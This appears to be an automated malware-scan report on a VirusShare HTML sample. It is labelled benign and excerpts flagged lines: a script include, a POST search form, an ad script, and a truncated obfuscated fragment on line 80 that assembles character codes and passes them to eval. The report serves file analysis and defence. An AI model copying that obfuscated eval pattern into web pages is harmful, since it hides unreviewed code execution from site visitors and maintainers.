Benign Download

VirusShare_2ac630cceba1886a6256358b0fc2d7aa

HTML form declares the POST methodLoads asynchronous external script

SHA-2565694a094115a98ead1370dc04937a6c1847ad1bdc91865e5e30fe3e0a658869d

Evidence

Loads local script element lines 19–29

19:3… ink rel="stylesheet" type="text/css" href="/style/main.css" />
20<script src="/script/googlestat.js"></script>
21</head>
22<body>
23
24
25<script src="/script/common.js"></script>
26<style>body{ background:url(/images/bg.png)}</style>
27<div class="title">
28    <ul>
29        <div class="fl">Back to …

HTML form declares the POST method lines 44–50

50… a></li>
     </ul>
 </div>
 <div class="search">
   <form action="" method="post" onsubmit="return doComProductSearch(this)">
     <span class="s_01">Search：</span><span class="s_02">
     <input name …

Eval of a concatenated string line 80

80:651… )+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(99002336)+O(109893701)+O(98011424)+O(115831132)+O(107915739)+O(99990734)+O(108908937)+O(114840868)+O(45542667)+O(117812440)+O( …

Loads asynchronous external script lines 82–90

82:98… mages/bt_contact1.jpg" /></a>
83           </ul>
84       </div>
85<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
86<!-- 160x600, 创建于 08-10-23 -->
87<ins class="adsbygoogle"
88     style="display:inline-block;width:160px;height:600px"
89     data-ad-client="ca-pub-1316244478408199"
90     data …